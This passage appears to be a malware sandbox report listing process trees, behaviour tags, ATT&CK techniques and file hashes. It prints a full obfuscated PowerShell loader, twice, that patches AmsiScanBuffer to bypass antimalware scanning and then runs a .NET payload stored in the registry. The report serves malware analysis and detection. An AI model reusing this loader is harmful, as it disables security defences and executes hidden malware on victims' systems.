+''+[Char](100)+'');$ktUKotgphUx.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'ok'+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+',Hi'+'d'+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+','+''+'N'+''+'e'+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+'V'+'i'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$hcahERuEjU,$bNPEYartukmxaq).SetImplementationFlags('R'+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+'e,'+'M'+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $ktUKotgphUx.CreateType();}$OXyumOrJrjaJT=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'st'+[Char](101)+''+'m'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+'r'+'o'+''+[Char](115)+''+'o'+'ft.'+[Char](87)+''+[Char](105)+'n'+'3'+''+'2'+''+[Char](46)+'Un'+'s'+''+'a'+''+[Char](102)+''+[Char](101)+''+'N'+'at'+[Char](105)+''+'v'+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$bAxDqnoKeYywoF=$OXyumOrJrjaJT.GetMethod(''+'G'+'e'+[Char](116)+'Pr'+[Char](111)+'c'+[Char](65)+''+[Char](100)+'d'+'r'+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jZfxBBHMnmFxQZfqbus=CxhiSvkIRRoz @([String])([IntPtr]);$TaRuHPoHeYqEDdPwJsDThU=CxhiSvkIRRoz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QboUfPQTVnH=$OXyumOrJrjaJT.GetMethod(''+[Char](71)+'e'+'t'+'Mo'+'d'+''+[Char](117)+'l'+[Char](101)+''+'H'+''+'a'+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+'l')));$FoXvCXsowUngib=$bAxDqnoKeYywoF.Invoke($Null,@([Object]$QboUfPQTVnH,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+'L'+[Char](105)+'br'+'a'+''+'r'+''+[Char](121)+''+[Char](65)+'')));$ChHCZFaXsaIYckfVG=$bAxDqnoKeYywoF.Invoke($Null,@([Object]$QboUfPQTVnH,[Object](''+[Char](86)+''+'i'+''+'r'+'t'+[Char](117)+''+'a'+''+[Char](108)+'Pr'+[Char](111)+'t'+[Char](101)+''+'c'+''+'t'+'')));$baEybwG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FoXvCXsowUngib,$jZfxBBHMnmFxQZfqbus).Invoke('a'+'m'+''+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$KdOBDsDVPhKupkaXk=$bAxDqnoKeYywoF.Invoke($Null,@([Object]$baEybwG,[Object]('A'+'m'+'si'+[Char](83)+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$zdqrOqfIFG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ChHCZFaXsaIYckfVG,$TaRuHPoHeYqEDdPwJsDThU).Invoke($KdOBDsDVPhKupkaXk,[uint32]8,4,[ref]$zdqrOqfIFG);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](122+9),[Byte](3+232),[Byte](246-246),[Byte](178+6),[Byte](227-140),[Byte](130-130),[Byte](52-45),[Byte](150-22),[Byte](221-84),[Byte](162+30),[Byte](14+181),[Byte](251-120),[Byte](169+23),[Byte](130-130)),0,$KdOBDsDVPhKupkaXk,13+1);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ChHCZFaXsaIYckfVG,$TaRuHPoHeYqEDdPwJsDThU).Invoke($KdOBDsDVPhKupkaXk,[uint32]8,0x20,[ref]$zdqrOqfIFG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+'T'+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue('$'+[Char](83)+''+[Char](72)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:5060 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:CxhiSvkIRRoz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$bNPEYartukmxaq,[Parameter(Position=1)][Type]$hcahERuEjU)$ktUKotgphUx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+'l'+[Char](101)+''+'c'+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+'gat'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+''+'d'+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+'e'+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+'e'+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'la'+[Char](115)+''+'s'+''+[Char](44)+'P'+[Char](117)+''+'b'+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+'S'+'ea'+[Char](108)+''+'e'+''+'d'+''+','+''+'A'+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+'t'+[Char](111)+'C'+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$ktUKotgphUx.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+'a'+'m'+''+[Char](101)+','+[Char](72)+''+[Char](105)+'de'+'B'+''+'y'+''+[Char](83)+''+'i'+'g,'+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$bNPEYartukmxaq).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$ktUKotgphUx.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'ok'+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+',Hi'+'d'+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+','+''+'N'+''+'e'+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+'V'+'i'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$hcahERuEjU,$bNPEYartukmxaq).SetImplementationFlags('R'+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+'e,'+'M'+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $ktUKotgphUx.CreateType();}$OXyumOrJrjaJT=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'st'+[Char](101)+''+'m'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+'r'+'o'+''+[Char](115)+''+'o'+'ft.'+[Char](87)+''+[Char](105)+'n'+'3'+''+'2'+''+[Char](46)+'Un'+'s'+''+'a'+''+[Char](102)+''+[Char](101)+''+'N'+'at'+[Char](105)+''+'v'+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$bAxDqnoKeYywoF=$OXyumOrJrjaJT.GetMethod(''+'G'+'e'+[Char](116)+'Pr'+[Char](111)+'c'+[Char](65)+''+[Char](100)+'d'+'r'+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jZfxBBHMnmFxQZfqbus=CxhiSvkIRRoz @([String])([IntPtr]);$TaRuHPoHeYqEDdPwJsDThU=CxhiSvkIRRoz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QboUfPQTVnH=$OXyumOrJrjaJT.GetMethod(''+[Char](71)+'e'+'t'+'Mo'+'d'+''+[Char](117)+'l'+[Char](101)+''+'H'+''+'a'+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+'l')));$FoXvCXsowUngib=$bAxDqnoKeYywoF.Invoke($Null,@([Object]$QboUfPQTVnH,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+'L'+[Char](105)+'br'+'a'+''+'r'+''+[Char](121)+''+[Char](65)+'')));$ChHCZFaXsaIYckfVG=$bAxDqnoKeYywoF.Invoke($Null,@([Object]$QboUfPQTVnH,[Object](''+[Char](86)+''+'i'+''+'r'+'t'+[Char](117)+''+'a'+''+[Char](108)+'Pr'+[Char](111)+'t'+[Char](101)+''+'c'+''+'t'+'')));$baEybwG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FoXvCXsowUngib,$jZfxBBHMnmFxQZfqbus).Invoke('a'+'m'+''+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$KdOBDsDVPhKupkaXk=$bAxDqnoKeYywoF.Invoke($Null,@([Object]$baEybwG,[Object]('A'+'m'+'si'+[Char](83)+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$zdqrOqfIFG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ChHCZFaXsaIYckfVG,$TaRuHPoHeYqEDdPwJsDThU).Invoke($KdOBDsDVPhKupkaXk,[uint32]8,4,[ref]$zdqrOqfIFG);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](122+9),[Byte](3+232),[Byte](246-246),[Byte](178+6),[Byte](227-140),[Byte](130-130),[Byte](52-45),[Byte](150-22),[Byte](221-84),[Byte](162+30),[Byte](14+181),[Byte](251-120),[Byte](169+23),[Byte](130-130)),0,$KdOBDsDVPhKupkaXk,13+1);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ChHCZFaXsaIYckfVG,$TaRuHPoHeYqEDdPwJsDThU).Invoke($KdOBDsDVPhKupkaXk,[uint32]8,0x20,[ref]$zdqrOqfIFG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+'T'+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue('$'+[Char](83)+''+[Char](72)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5068
-
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:3916
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:4712
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4608
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
PID:3704
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C:\Windows\system32\UsoClient.exeC:\Windows\system32\usoclient.exe1⤵PID:1360
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:4784
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Modify Registry
1Virtualization/Sandbox Evasion
2Discovery
Peripheral Device Discovery
1Query Registry
7Remote System Discovery
1System Information Discovery
4System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
3Internet Connection Discovery
2System Time Discovery
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1C758290ABE83C6ACEFFD1EB5154F220
- Size 192B
- SHA256 10fafe07af54bbacea4836c6233e97d7d67435601e50127980ebd33c0a98ad7b
- MD5 b521ac96c0650fc27a7672e8045f3b20
- SHA1 249710a6034fc3095795369d613f9bc7871903e2
- SHA512 bbc014eb9af252e805578919e2cc57a8faaf3b34e3228ba9199dc9d453d0d552349bfcd6efb65b9f9535873d8d792e74dee194f1f97a763cde5511e186307c19
- TLSH T1DBC02B1133750709F014B33D09DA0B0003FC9D07D002C3090F70014D840F5C22C33D0A
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
- Size 174B
- SHA256 3912ed99298ea6128d7ba335f539210d859f632a956f49cca6ced0221be663d1
- MD5 d7f10bfd6d7ef2be6dc611c3aa9e5fb8
- SHA1 8e8341dc97554fc53b75a13bfceab638e0241501
- SHA512 c7ee94592067bdcd8968ba9dd3a4beabd2b2e1127ee6b34acb92191124c5c2376ea056e5d060441d8a88b9abf51ce7357be24c658916e60a83e4bc9f00be1862
- TLSH T1C4C02B003731020DF821013F098101108BF7D100DE8643008F30111AD51C90198B3F09
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
- Size 170B
- SHA256 6efdd5a3ddaa712f6f7d729b36228e62b415051524e1f53f0a481efb66fe15a1
- MD5 1cb45a318f9f119bf1ea724a10938092
- SHA1 cbc458050cdf3a2dfd84c880b8f805858a0ef450
- SHA512 7f4c9e77d9132536f2b2ef58d3860a0fbdc7be395af2348ec70e4ad130d025549d1c42592dbb0e5856d04c71d681057f9d1600549fdf8d28ea66c1bac80bcd6b
- TLSH T136C092747B6282DBF2AA013F09E557159BF68691F743830006B842AA572CB910CB6E42
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- TLSH T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
- Size 394KB
- SHA256 185b97b0f137d22d946e46f7a4e91aeba69d1db96474084fad61a32912722339
- MD5 2a24d3b61c5c2d3bc74da074064f006c
- SHA1 683b268859c7f2909556cd65df73a1eb2bb42537
- SHA512 1cc34a7c19b5e907e05ac28d26fae0ce1fd5215048418ba9ffd0eee787fd9a43739ad99bbf748e4270f27e6f94da546d250f58e7321204b0e06fbc1f173a98c2
- SSDEEP 6144:GO+/+Ev0s+CEcEBogvezsSlpCd5Zqc6yHuFM0c4OdDX:nW4SbCrZqcHu20cL
- TLSH T1A9847C2AEBA80475F1AB9138CD624506EAB27C4B4761AEDF03E0CAD51F276E0573E711
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 2ae6e3f473d1bb5d3fb350e7f4361420068d8fc4ca9bb770d8d97c946217e553
- MD5 0d95621f05cfdf1332d6f39c2f62c8fd
- SHA1 b7b0762a256c6763314a7453c754a0225e39aae0
- SHA512 81c5e7f8b96d46ca7db6385e68ed95af85d4751d79b67b88f63bb516d3529f116cac0bf18841bc89da8c6e2fced76ef1cc892bc806461fa2eb8f4303647dabae
- TLSH T1E2112223F38C8920CC96163A509DAC5172B686CB81AEDF9F7FC0D210A1BF584CB61294
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 987042dfadd4cf7481278d32ec94056a15ef4107a5b7b03cfb4f3d562b7d9009
- MD5 c28c055af1ebc9225509ce03e563b021
- SHA1 3b884ec6a457b1402aa9a5d9940c67f3145539c1
- SHA512 f4361a1d441ea900db8e6a71ede8b63db4abc63c0957ca586757e465e54c1a5794c14cf1ac44af2184276f8c006d2ee87fb32f53dc9d32dc421ba47b872c2632
- TLSH T1E0116223F38C89A0CC861639409CAC1172B686CB81AEDFDF7FC0C210E1AF584CB61294
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zw2rlurb.10h.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
- Size 2KB
- SHA256 2ea8191335f33369dab2d18afe09d4352e1588541ffa6ab37455f81ca68a6b59
- MD5 bf0ec340f4cf0d7bf99eb2e32a3a357c
- SHA1 42e17023b14602b2413fbe0aa88660c5ee81f712
- SHA512 f0263c6f669b552625c06e284a38ead9085301061ddf82c97858e8a6832bd527f40f141129acac7853c6df59a47cf0de4a68204e5ef926d565e9cfe81bb7dfe6
- TLSH T1F051465367EE1108F2F76B2CAEB620218EA77D455D39C46D01AC240DCBF7E6289607B7
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 5f3381d167d7afa6662d6cd958f7f3c8d102fd1614a9f6a4dfc37bb45b855907
- MD5 02459c576c2bc86cfece5d391a63b50f
- SHA1 bce362f634f923aeed6948ff4c6832a71374f28c
- SHA512 b0f2c360a0835ba8aff87ffdac03de35577fdee5c4c9dc616f40ef8e9ce87d10d35eae3ec84fc5f3cd85dde0bac2e6bae46133b196cd579f0a1cd952724963dd
- TLSH T1E851455367EE1108F2F76B2CAEB620218EA77D455D39C46D00AC240DCBF7E6289607B7
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
- MD5 7d612892b20e70250dbd00d0cdd4f09b
- SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
- SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
- TLSH T15151455367EE1108F2F76B2CAEB620218EA77D455D39C46D00AC240DCBF7E6289607B7
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
- MD5 0b990e24f1e839462c0ac35fef1d119e
- SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
- SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
- TLSH T18C51355367EE1108F2F76B2CAEB620218EA77D455D39C46D01AC240DCBF7E6289607B7
- MD5 SHA1 SHA512 TLSH